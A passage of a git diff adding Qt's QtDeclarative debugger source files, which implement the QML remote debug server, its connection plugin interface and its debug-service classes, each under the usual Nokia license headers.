+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEDEBUGHELPER_P_H
+#define QDECLARATIVEDEBUGHELPER_P_H
+
+#include <QtCore/qglobal.h>
+
+#include <private/qdeclarativeglobal_p.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+class QScriptEngine;
+class QDeclarativeEngine;
+
+// Helper methods to access private API through a stable interface
+// This is used in the qmljsdebugger library of QtCreator.
+class Q_DECLARATIVE_EXPORT QDeclarativeDebugHelper
+{
+public:
+ static QScriptEngine *getScriptEngine(QDeclarativeEngine *engine);
+ static void setAnimationSlowDownFactor(qreal factor);
+
+ // Enables remote debugging functionality
+ // Only use this for debugging in a safe environment!
+ static void enableDebugging();
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEDEBUGHELPER_P_H
diff --git a/src/declarative/debugger/qdeclarativedebugserver.cpp b/src/declarative/debugger/qdeclarativedebugserver.cpp
new file mode 100644
index 00000000..c664f960
--- /dev/null
+++ b/src/declarative/debugger/qdeclarativedebugserver.cpp
@@ -0,0 +1,426 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativedebugserver_p.h"
+#include "private/qdeclarativedebugservice_p.h"
+#include "private/qdeclarativedebugservice_p_p.h"
+#include "private/qdeclarativeengine_p.h"
+
+#include <QtCore/QDir>
+#include <QtCore/QPluginLoader>
+#include <QtCore/QStringList>
+
+#include <private/qobject_p.h>
+#include <private/qapplication_p.h>
+
+QT_BEGIN_NAMESPACE
+
+/*
+ QDeclarativeDebug Protocol (Version 1):
+
+ handshake:
+ 1. Client sends
+ "QDeclarativeDebugServer" 0 version pluginNames
+ version: an int representing the highest protocol version the client knows
+ pluginNames: plugins available on client side
+ 2. Server sends
+ "QDeclarativeDebugClient" 0 version pluginNames
+ version: an int representing the highest protocol version the client & server know
+ pluginNames: plugins available on server side. plugins both in the client and server message are enabled.
+ client plugin advertisement
+ 1. Client sends
+ "QDeclarativeDebugServer" 1 pluginNames
+ server plugin advertisement
+ 1. Server sends
+ "QDeclarativeDebugClient" 1 pluginNames
+ plugin communication:
+ Everything send with a header different to "QDeclarativeDebugServer" is sent to the appropriate plugin.
+ */
+
+const int protocolVersion = 1;
+
+
+class QDeclarativeDebugServerPrivate : public QObjectPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeDebugServer)
+public:
+ QDeclarativeDebugServerPrivate();
+
+ void advertisePlugins();
+
+ QDeclarativeDebugServerConnection *connection;
+ QHash<QString, QDeclarativeDebugService *> plugins;
+ QStringList clientPlugins;
+ bool gotHello;
+ QString waitingForMsgFromService;
+ bool waitingForMsgSucceeded;
+
+private:
+ // private slot
+ void _q_deliverMessage(const QString &serviceName, const QByteArray &message);
+ static QDeclarativeDebugServerConnection *loadConnectionPlugin(QPluginLoader *loader, const QString &pluginName);
+};
+
+QDeclarativeDebugServerPrivate::QDeclarativeDebugServerPrivate() :
+ connection(0),
+ gotHello(false),
+ waitingForMsgSucceeded(false)
+{
+}
+
+void QDeclarativeDebugServerPrivate::advertisePlugins()
+{
+ if (!gotHello)
+ return;
+
+ QByteArray message;
+ {
+ QDataStream out(&message, QIODevice::WriteOnly);
+ out << QString(QLatin1String("QDeclarativeDebugClient")) << 1 << plugins.keys();
+ }
+ connection->send(message);
+}
+
+QDeclarativeDebugServerConnection *QDeclarativeDebugServerPrivate::loadConnectionPlugin(
+ QPluginLoader *loader, const QString &pluginName)
+{
+#ifndef QT_NO_LIBRARY
+ QStringList pluginCandidates;
+ const QStringList paths = QCoreApplication::libraryPaths();
+ foreach (const QString &libPath, paths) {
+ const QDir dir(libPath + QLatin1String("/qmltooling"));
+ if (dir.exists()) {
+ QStringList plugins(dir.entryList(QDir::Files));
+ foreach (const QString &pluginPath, plugins) {
+ if (QFileInfo(pluginPath).fileName().contains(pluginName))
+ pluginCandidates << dir.absoluteFilePath(pluginPath);
+ }
+ }
+ }
+
+ foreach (const QString &pluginPath, pluginCandidates) {
+ loader->setFileName(pluginPath);
+ if (!loader->load()) {
+ continue;
+ }
+ QDeclarativeDebugServerConnection *connection = 0;
+ if (QObject *instance = loader->instance())
+ connection = qobject_cast<QDeclarativeDebugServerConnection*>(instance);
+
+ if (connection)
+ return connection;
+ loader->unload();
+ }
+#endif
+ return 0;
+}
+
+bool QDeclarativeDebugServer::hasDebuggingClient() const
+{
+ Q_D(const QDeclarativeDebugServer);
+ return d->connection
+ && d->connection->isConnected()
+ && d->gotHello;
+}
+
+QDeclarativeDebugServer *QDeclarativeDebugServer::instance()
+{
+ static bool commandLineTested = false;
+ static QDeclarativeDebugServer *server = 0;
+
+ if (!commandLineTested) {
+ commandLineTested = true;
+
+ QApplicationPrivate *appD = static_cast<QApplicationPrivate*>(QObjectPrivate::get(qApp));
+#ifndef QDECLARATIVE_NO_DEBUG_PROTOCOL
+ // ### remove port definition when protocol is changed
+ int port = 0;
+ bool block = false;
+ bool ok = false;
+
+ // format: qmljsdebugger=port:3768[,block] OR qmljsdebugger=ost[,block]
+ if (!appD->qmljsDebugArgumentsString().isEmpty()) {
+ if (!QDeclarativeEnginePrivate::qml_debugging_enabled) {
+ qWarning() << QString::fromLatin1(
+ "QDeclarativeDebugServer: Ignoring \"-qmljsdebugger=%1\". "
+ "Debugging has not been enabled.").arg(
+ appD->qmljsDebugArgumentsString());
+ return 0;
+ }
+
+ QString pluginName;
+ if (appD->qmljsDebugArgumentsString().indexOf(QLatin1String("port:")) == 0) {
+ int separatorIndex = appD->qmljsDebugArgumentsString().indexOf(QLatin1Char(','));
+ port = appD->qmljsDebugArgumentsString().mid(5, separatorIndex - 5).toInt(&ok);
+ pluginName = QLatin1String("qmldbg_tcp");
+ } else if (appD->qmljsDebugArgumentsString().contains(QLatin1String("ost"))) {
+ pluginName = QLatin1String("qmldbg_ost");
+ ok = true;
+ }
+
+ block = appD->qmljsDebugArgumentsString().contains(QLatin1String("block"));
+
+ if (ok) {
+ server = new QDeclarativeDebugServer();
+
+ QPluginLoader *loader = new QPluginLoader(server);
+ QDeclarativeDebugServerConnection *connection
+ = QDeclarativeDebugServerPrivate::loadConnectionPlugin(loader, pluginName);
+ if (connection) {
+ server->d_func()->connection = connection;
+
+ connection->setServer(server);
+ connection->setPort(port, block);
+ } else {
+ qWarning() << QString::fromLatin1(
+ "QDeclarativeDebugServer: Ignoring \"-qmljsdebugger=%1\". "
+ "Remote debugger plugin has not been found.").arg(
+ appD->qmljsDebugArgumentsString());
+ }
+
+ } else {
+ qWarning() << QString::fromLatin1(
+ "QDeclarativeDebugServer: Ignoring \"-qmljsdebugger=%1\". "
+ "Format is -qmljsdebugger=port:<port>[,block]").arg(
+ appD->qmljsDebugArgumentsString());
+ }
+ }
+#else
+ if (!appD->qmljsDebugArgumentsString().isEmpty()) {
+ qWarning() << QString::fromLatin1(
+ "QDeclarativeDebugServer: Ignoring \"-qmljsdebugger=%1\". "
+ "QtDeclarative is not configured for debugging.").arg(
+ appD->qmljsDebugArgumentsString());
+ }
+#endif
+ }
+
+ return server;
+}
+
+QDeclarativeDebugServer::QDeclarativeDebugServer()
+: QObject(*(new QDeclarativeDebugServerPrivate))
+{
+}
+
+void QDeclarativeDebugServer::receiveMessage(const QByteArray &message)
+{
+ Q_D(QDeclarativeDebugServer);
+
+ QDataStream in(message);
+ if (!d->gotHello) {
+ QString name;
+ int op;
+ in >> name >> op;
+
+ if (name != QLatin1String("QDeclarativeDebugServer")
+ || op != 0) {
+ qWarning("QDeclarativeDebugServer: Invalid hello message");
+ d->connection->disconnect();
+ return;
+ }
+
+ int version;
+ in >> version >> d->clientPlugins;
+
+ // Send the hello answer immediately, since it needs to arrive before
+ // the plugins below start sending messages.
+ QByteArray helloAnswer;
+ {
+ QDataStream out(&helloAnswer, QIODevice::WriteOnly);
+ out << QString(QLatin1String("QDeclarativeDebugClient")) << 0 << protocolVersion << d->plugins.keys();
+ }
+ d->connection->send(helloAnswer);
+
+ d->gotHello = true;
+
+ QHash<QString, QDeclarativeDebugService*>::Iterator iter = d->plugins.begin();
+ for (; iter != d->plugins.end(); ++iter) {
+ QDeclarativeDebugService::Status newStatus = QDeclarativeDebugService::Unavailable;
+ if (d->clientPlugins.contains(iter.key()))
+ newStatus = QDeclarativeDebugService::Enabled;
+ iter.value()->d_func()->status = newStatus;
+ iter.value()->statusChanged(newStatus);
+ }
+
+ qDebug("QDeclarativeDebugServer: Connection established");
+ } else {
+
+ QString debugServer(QLatin1String("QDeclarativeDebugServer"));
+
+ QString name;
+ in >> name;
+
+ if (name == debugServer) {
+ int op = -1;
+ in >> op;
+
+ if (op == 1) {
+ // Service Discovery
+ QStringList oldClientPlugins = d->clientPlugins;
+ in >> d->clientPlugins;
+
+ QHash<QString, QDeclarativeDebugService*>::Iterator iter = d->plugins.begin();
+ for (; iter != d->plugins.end(); ++iter) {
+ const QString pluginName = iter.key();
+ QDeclarativeDebugService::Status newStatus = QDeclarativeDebugService::Unavailable;
+ if (d->clientPlugins.contains(pluginName))
+ newStatus = QDeclarativeDebugService::Enabled;
+
+ if (oldClientPlugins.contains(pluginName)
+ != d->clientPlugins.contains(pluginName)) {
+ iter.value()->d_func()->status = newStatus;
+ iter.value()->statusChanged(newStatus);
+ }
+ }
+ } else {
+ qWarning("QDeclarativeDebugServer: Invalid control message %d", op);
+ }
+ } else {
+ QByteArray message;
+ in >> message;
+
+ if (d->waitingForMsgFromService == name) {
+ // deliver directly so that it is delivered before waitForMessage is returning.
+ d->_q_deliverMessage(name, message);
+ d->waitingForMsgSucceeded = true;
+ } else {
+ // deliver message in next event loop run.
+ // Fixes the case that the service does start it's own event loop ...,
+ // but the networking code doesn't deliver any new messages because readyRead
+ // hasn't returned.
+ QMetaObject::invokeMethod(this, "_q_deliverMessage", Qt::QueuedConnection,
+ Q_ARG(QString, name),
+ Q_ARG(QByteArray, message));
+ }
+ }
+ }
+}
+
+void QDeclarativeDebugServerPrivate::_q_deliverMessage(const QString &serviceName, const QByteArray &message)
+{
+ QHash<QString, QDeclarativeDebugService *>::Iterator iter = plugins.find(serviceName);
+ if (iter == plugins.end()) {
+ qWarning() << "QDeclarativeDebugServer: Message received for missing plugin" << serviceName;
+ } else {
+ (*iter)->messageReceived(message);
+ }
+}
+
+QList<QDeclarativeDebugService*> QDeclarativeDebugServer::services() const
+{
+ const Q_D(QDeclarativeDebugServer);
+ return d->plugins.values();
+}
+
+QStringList QDeclarativeDebugServer::serviceNames() const
+{
+ const Q_D(QDeclarativeDebugServer);
+ return d->plugins.keys();
+}
+
+bool QDeclarativeDebugServer::addService(QDeclarativeDebugService *service)
+{
+ Q_D(QDeclarativeDebugServer);
+ if (!service || d->plugins.contains(service->name()))
+ return false;
+
+ d->plugins.insert(service->name(), service);
+ d->advertisePlugins();
+
+ QDeclarativeDebugService::Status newStatus = QDeclarativeDebugService::Unavailable;
+ if (d->clientPlugins.contains(service->name()))
+ newStatus = QDeclarativeDebugService::Enabled;
+ service->d_func()->status = newStatus;
+ service->statusChanged(newStatus);
+ return true;
+}
+
+bool QDeclarativeDebugServer::removeService(QDeclarativeDebugService *service)
+{
+ Q_D(QDeclarativeDebugServer);
+ if (!service || !d->plugins.contains(service->name()))
+ return false;
+
+ d->plugins.remove(service->name());
+ d->advertisePlugins();
+
+ QDeclarativeDebugService::Status newStatus = QDeclarativeDebugService::NotConnected;
+ service->d_func()->server = 0;
+ service->d_func()->status = newStatus;
+ service->statusChanged(newStatus);
+ return true;
+}
+
+void QDeclarativeDebugServer::sendMessage(QDeclarativeDebugService *service,
+ const QByteArray &message)
+{
+ Q_D(QDeclarativeDebugServer);
+ QByteArray msg;
+ {
+ QDataStream out(&msg, QIODevice::WriteOnly);
+ out << service->name() << message;
+ }
+ d->connection->send(msg);
+}
+
+bool QDeclarativeDebugServer::waitForMessage(QDeclarativeDebugService *service)
+{
+ Q_D(QDeclarativeDebugServer);
+
+ if (!service
+ || !d->plugins.contains(service->name())
+ || !d->waitingForMsgFromService.isEmpty())
+ return false;
+
+ d->waitingForMsgFromService = service->name();
+
+ do {
+ d->connection->waitForMessage();
+ } while (!d->waitingForMsgSucceeded);
+ d->waitingForMsgSucceeded = false;
+ d->waitingForMsgFromService.clear();
+ return true;
+}
+
+QT_END_NAMESPACE
+
+#include "moc_qdeclarativedebugserver_p.cpp"
diff --git a/src/declarative/debugger/qdeclarativedebugserver_p.h b/src/declarative/debugger/qdeclarativedebugserver_p.h
new file mode 100644
index 00000000..922f981d
--- /dev/null
+++ b/src/declarative/debugger/qdeclarativedebugserver_p.h
@@ -0,0 +1,91 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEDEBUGSERVER_H
+#define QDECLARATIVEDEBUGSERVER_H
+
+#include <private/qdeclarativeglobal_p.h>
+#include <private/qdeclarativedebugserverconnection_p.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeDebugService;
+
+class QDeclarativeDebugServerPrivate;
+class Q_DECLARATIVE_EXPORT QDeclarativeDebugServer : public QObject
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativeDebugServer)
+ Q_DISABLE_COPY(QDeclarativeDebugServer)
+public:
+ static QDeclarativeDebugServer *instance();
+
+ void setConnection(QDeclarativeDebugServerConnection *connection);
+
+ bool hasDebuggingClient() const;
+
+ QList<QDeclarativeDebugService*> services() const;
+ QStringList serviceNames() const;
+
+ bool addService(QDeclarativeDebugService *service);
+ bool removeService(QDeclarativeDebugService *service);
+
+ void sendMessage(QDeclarativeDebugService *service, const QByteArray &message);
+ void receiveMessage(const QByteArray &message);
+
+ bool waitForMessage(QDeclarativeDebugService *service);
+
+private:
+ friend class QDeclarativeDebugService;
+ friend class QDeclarativeDebugServicePrivate;
+ QDeclarativeDebugServer();
+ Q_PRIVATE_SLOT(d_func(), void _q_deliverMessage(QString, QByteArray))
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEDEBUGSERVICE_H
diff --git a/src/declarative/debugger/qdeclarativedebugserverconnection_p.h b/src/declarative/debugger/qdeclarativedebugserverconnection_p.h
new file mode 100644
index 00000000..16fa798e
--- /dev/null
+++ b/src/declarative/debugger/qdeclarativedebugserverconnection_p.h
@@ -0,0 +1,74 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEDEBUGSERVERCONNECTION_H
+#define QDECLARATIVEDEBUGSERVERCONNECTION_H
+
+#include <QtDeclarative/private/qdeclarativeglobal_p.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeDebugServer;
+class Q_DECLARATIVE_EXPORT QDeclarativeDebugServerConnection
+{
+public:
+ QDeclarativeDebugServerConnection() {}
+ virtual ~QDeclarativeDebugServerConnection() {}
+
+ virtual void setServer(QDeclarativeDebugServer *server) = 0;
+ virtual void setPort(int port, bool bock) = 0;
+ virtual bool isConnected() const = 0;
+ virtual void send(const QByteArray &message) = 0;
+ virtual void disconnect() = 0;
+ virtual bool waitForMessage() = 0;
+};
+
+Q_DECLARE_INTERFACE(QDeclarativeDebugServerConnection, "com.trolltech.Qt.QDeclarativeDebugServerConnection/1.0")
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEDEBUGSERVERCONNECTION_H
diff --git a/src/declarative/debugger/qdeclarativedebugservice.cpp b/src/declarative/debugger/qdeclarativedebugservice.cpp
new file mode 100644
index 00000000..111bd24c
--- /dev/null
+++ b/src/declarative/debugger/qdeclarativedebugservice.cpp
@@ -0,0 +1,230 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativedebugservice_p.h"
+#include "private/qdeclarativedebugservice_p_p.h"
+#include "private/qdeclarativedebugserver_p.h"
+
+#include <QtCore/QDebug>
+#include <QtCore/QStringList>
+
+QT_BEGIN_NAMESPACE
+
+QDeclarativeDebugServicePrivate::QDeclarativeDebugServicePrivate()
+: server(0)
+{
+}
+
+QDeclarativeDebugService::QDeclarativeDebugService(const QString &name, QObject *parent)
+: QObject(*(new QDeclarativeDebugServicePrivate), parent)
+{
+ Q_D(QDeclarativeDebugService);
+ d->name = name;
+ d->server = QDeclarativeDebugServer::instance();
+ d->status = QDeclarativeDebugService::NotConnected;
+
+ if (!d->server)
+ return;
+
+ if (d->server->serviceNames().contains(name)) {
+ qWarning() << "QDeclarativeDebugService: Conflicting plugin name" << name;
+ d->server = 0;
+ } else {
+ d->server->addService(this);
+ }
+}
+
+QDeclarativeDebugService::~QDeclarativeDebugService()
+{
+ Q_D(const QDeclarativeDebugService);
+ if (d->server) {
+ d->server->removeService(this);
+ }
+}
+
+QString QDeclarativeDebugService::name() const
+{
+ Q_D(const QDeclarativeDebugService);
+ return d->name;
+}
+
+QDeclarativeDebugService::Status QDeclarativeDebugService::status() const
+{
+ Q_D(const QDeclarativeDebugService);
+ return d->status;
+}
+
+namespace {
+
+ struct ObjectReference
+ {
+ QPointer<QObject> object;
+ int id;
+ };
+
+ struct ObjectReferenceHash
+ {
+ ObjectReferenceHash() : nextId(0) {}
+
+ QHash<QObject *, ObjectReference> objects;
+ QHash<int, QObject *> ids;
+
+ int nextId;
+ };
+
+}
+Q_GLOBAL_STATIC(ObjectReferenceHash, objectReferenceHash);
+
+
+/*!
+ Returns a unique id for \a object. Calling this method multiple times
+ for the same object will return the same id.
+*/
+int QDeclarativeDebugService::idForObject(QObject *object)
+{
+ if (!object)
+ return -1;
+
+ ObjectReferenceHash *hash = objectReferenceHash();
+ QHash<QObject *, ObjectReference>::Iterator iter =
+ hash->objects.find(object);
+
+ if (iter == hash->objects.end()) {
+ int id = hash->nextId++;
+
+ hash->ids.insert(id, object);
+ iter = hash->objects.insert(object, ObjectReference());
+ iter->object = object;
+ iter->id = id;
+ } else if (iter->object != object) {
+ int id = hash->nextId++;
+
+ hash->ids.remove(iter->id);
+
+ hash->ids.insert(id, object);
+ iter->object = object;
+ iter->id = id;
+ }
+ return iter->id;
+}
+
+/*!
+ Returns the object for unique \a id. If the object has not previously been
+ assigned an id, through idForObject(), then 0 is returned. If the object
+ has been destroyed, 0 is returned.
+*/
+QObject *QDeclarativeDebugService::objectForId(int id)
+{
+ ObjectReferenceHash *hash = objectReferenceHash();
+
+ QHash<int, QObject *>::Iterator iter = hash->ids.find(id);
+ if (iter == hash->ids.end())
+ return 0;
+
+
+ QHash<QObject *, ObjectReference>::Iterator objIter =
+ hash->objects.find(*iter);
+ Q_ASSERT(objIter != hash->objects.end());
+
+ if (objIter->object == 0) {
+ hash->ids.erase(iter);
+ hash->objects.erase(objIter);
+ return 0;
+ } else {
+ return *iter;
+ }
+}
+
+bool QDeclarativeDebugService::isDebuggingEnabled()
+{
+ return QDeclarativeDebugServer::instance() != 0;
+}
+
+bool QDeclarativeDebugService::hasDebuggingClient()
+{
+ return QDeclarativeDebugServer::instance() != 0
+ && QDeclarativeDebugServer::instance()->hasDebuggingClient();
+}
+
+QString QDeclarativeDebugService::objectToString(QObject *obj)
+{
+ if(!obj)
+ return QLatin1String("NULL");
+
+ QString objectName = obj->objectName();
+ if(objectName.isEmpty())
+ objectName = QLatin1String("<unnamed>");
+
+ QString rv = QString::fromUtf8(obj->metaObject()->className()) +
+ QLatin1String(": ") + objectName;
+
+ return rv;
+}
+
+void QDeclarativeDebugService::sendMessage(const QByteArray &message)
+{
+ Q_D(QDeclarativeDebugService);
+
+ if (status() != Enabled)
+ return;
+
+ d->server->sendMessage(this, message);
+}
+
+bool QDeclarativeDebugService::waitForMessage()
+{
+ Q_D(QDeclarativeDebugService);
+
+ if (status() != Enabled)
+ return false;
+
+ return d->server->waitForMessage(this);
+}
+
+void QDeclarativeDebugService::statusChanged(Status)
+{
+}
+
+void QDeclarativeDebugService::messageReceived(const QByteArray &)
+{
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/debugger/qdeclarativedebugservice_p.h b/src/declarative/debugger/qdeclarativedebugservice_p.h
new file mode 100644
index 00000000..2abef713
--- /dev/null
+++ b/src/declarative/debugger/qdeclarativedebugservice_p.h
@@ -0,0 +1,96 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEDEBUGSERVICE_H
+#define QDECLARATIVEDEBUGSERVICE_H
+
+#include <QtCore/qobject.h>
+
+#include <private/qdeclarativeglobal_p.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeDebugServicePrivate;
+class Q_DECLARATIVE_EXPORT QDeclarativeDebugService : public QObject
+{
+ Q_OBJECT
+ Q_DECLARE_PRIVATE(QDeclarativeDebugService)
+ Q_DISABLE_COPY(QDeclarativeDebugService)
+
+public:
+ explicit QDeclarativeDebugService(const QString &, QObject *parent = 0);
+ ~QDeclarativeDebugService();
+
+ QString name() const;
+
+ enum Status { NotConnected, Unavailable, Enabled };
+ Status status() const;
+
+ void sendMessage(const QByteArray &);
+ bool waitForMessage();
+
+ static int idForObject(QObject *);
+ static QObject *objectForId(int);
+
+ static QString objectToString(QObject *obj);
+
+ static bool isDebuggingEnabled();
+ static bool hasDebuggingClient();
+
+protected:
+ virtual void statusChanged(Status);
+ virtual void messageReceived(const QByteArray &);
+
+private:
+ friend class QDeclarativeDebugServer;
+ friend class QDeclarativeDebugServerPrivate;
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEDEBUGSERVICE_H
+
diff --git a/src/declarative/debugger/qdeclarativedebugservice_p_p.h b/src/declarative/debugger/qdeclarativedebugservice_p_p.h
new file mode 100644
index 00000000..1a169334
--- /dev/null
+++ b/src/declarative/debugger/qdeclarativedebugservice_p_p.h
@@ -0,0 +1,71 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEDEBUGSERVICE_P_H
